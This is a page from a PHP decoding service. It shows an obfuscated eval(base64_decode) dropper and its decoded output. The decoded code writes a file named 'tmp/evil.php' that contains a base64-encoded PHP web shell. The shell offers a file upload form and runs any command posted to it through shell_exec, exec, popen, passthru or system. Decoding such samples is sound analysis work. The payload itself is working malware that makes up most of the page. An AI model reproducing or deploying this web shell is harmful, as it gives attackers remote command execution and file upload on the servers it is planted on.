Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('PD9waHANCg0KJGNvbnRlbnQgPSAnUENGRVQwTlVXVkJGSUdoMGJXdytEUW84YUhSdGJDQn..

Decoded Output download

<?php
$content = 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPkZpbGUgVXBsb2FkZXI8L3RpdGxlPg0KPC9oZWFkPg0KPGJvZHk+DQogICAgPHNwYW4gc3R5bGU9ImRpc3BsYXk6bm9uZSI+VnVsbiEhPC9zcGFuPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgIDxzdHJvbmc+U2VsZWN0IGEgZmlsZSB0byB1cGxvYWQgOjwvc3Ryb25nPiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiAvPg0KICAgICAgICA8YnIgLz48YnIvPg0KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkX2J0biIgc3R5bGU9ImJvcmRlcjpub25lO2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZmZmO3BhZGRpbmc6NXB4IDEwcHg7Zm9udC13ZWlnaHQ6Ym9sZDtoZWlnaHQ6NTBweDtjdXJzb3I6cG9pbnRlcjsiPlVwbG9hZCB0aGUgZnVja2luZyBzaGl0PC9idXR0b24+DQogICAgICAgIDxiciAvPiA8YnIvPg0KICAgIDwvZm9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QogICAgICAgIH0NCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsicnVuX2NtZCJdKSl7DQoNCiAgICAgICAgJGNtZCA9ICRfUE9TVFsnY21kJ107DQoNCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJzaGVsbF9leGVjIikpew0KICAgICAgICAgICAgJHJ1biA9IHNoZWxsX2V4ZWMoJGNtZCk7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1cInJlZFwiPkt1bGxhbsSxbGFuIGnFn2xldiA6IHNoZWxsX2V4ZWMoKSA8L2ZvbnQ+PGJyIC8+PHByZT4kcnVuPC9wcmU+IjsNCiAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoImV4ZWMiKSl7DQogICAgICAgICAgICAkcnVuID0gZXhlYygkY21kLCRyZXN1bHQpOw0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9XCJyZWRcIj5LdWxsYW7EsWxhbiBpxZ9sZXYgOiBleGVjKCkgPC9mb250PjxiciAvPiI7DQogICAgICAgICAgICBmb3JlYWNoKCRyZXN1bHQgYXMgJHJlcyl7DQogICAgICAgICAgICAgICAgJHJlcyA9IHRyaW0oJHJlcyk7DQogICAgICAgICAgICAgICAgZWNobyAiPHN0cm9uZz5leGVjLT4gJHJlczwvc3Ryb25nPjxiciAvPiI7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3BlbiIpKXsNCiAgICAgICAgICAgICRydW4gPSBwb3BlbigkY21kLCJyIik7DQogICAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1cInJlZFwiPkt1bGxhbsSxbGFuIGnFn2xldiA6IHBvcGVuKCkgPC9mb250PjxiciAvPjxici8+IjsNCiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRydW4pKXsNCiAgICAgICAgICAgICAgICAkYnVmZmVyID0gZmdldHMoJHJ1biw0MDk2KTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICI8c3Ryb25nPnBvcGVuIC0+ICRidWZmZXI8L3N0cm9uZz48YnIgLz4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcGNsb3NlKCRydW4pOw0KICAgICAgICAgICAgZWNobyAkcmVzdWx0Ow0KICAgICAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicGFzc3RocnUiKSl7DQogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsNCiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPjxmb250IGNvbG9yPVwicmVkXCI+S3VsbGFuxLFsYW4gacWfbGV2IDogcGFzc3RocnUoKSA8L2ZvbnQ+PGJyIC8+IjsNCiAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoInN5c3RlbSIpKXsNCiAgICAgICAgICAgIHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPjxmb250IGNvbG9yPVwicmVkXCI+S3VsbGFuxLFsYW4gacWfbGV2IDogc3lzdGVtKCkgPC9mb250PjxiciAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcHJpbnQgInBhc3N0aHJ1KCksc2hlbGxfZXhlYygpLGV4ZWMoKSxwb3BlbigpLHN5c3RlbSgpIEFrdGlmIGRlxJ9pbCEiOw0KICAgICAgICB9DQoNCiAgICB9DQo/Pg==';
file_put_contents('tmp/evil.php', base64_decode($content));
?>

Did this file decode correctly?

Original Code

eval(base64_decode('PD9waHANCg0KJGNvbnRlbnQgPSAnUENGRVQwTlVXVkJGSUdoMGJXdytEUW84YUhSdGJDQnNZVzVuUFNKbGJpSStEUW84YUdWaFpENE5DaUFnSUNBOGJXVjBZU0JqYUdGeWMyVjBQU0pWVkVZdE9DSStEUW9nSUNBZ1BHMWxkR0VnYUhSMGNDMWxjWFZwZGowaVdDMVZRUzFEYjIxd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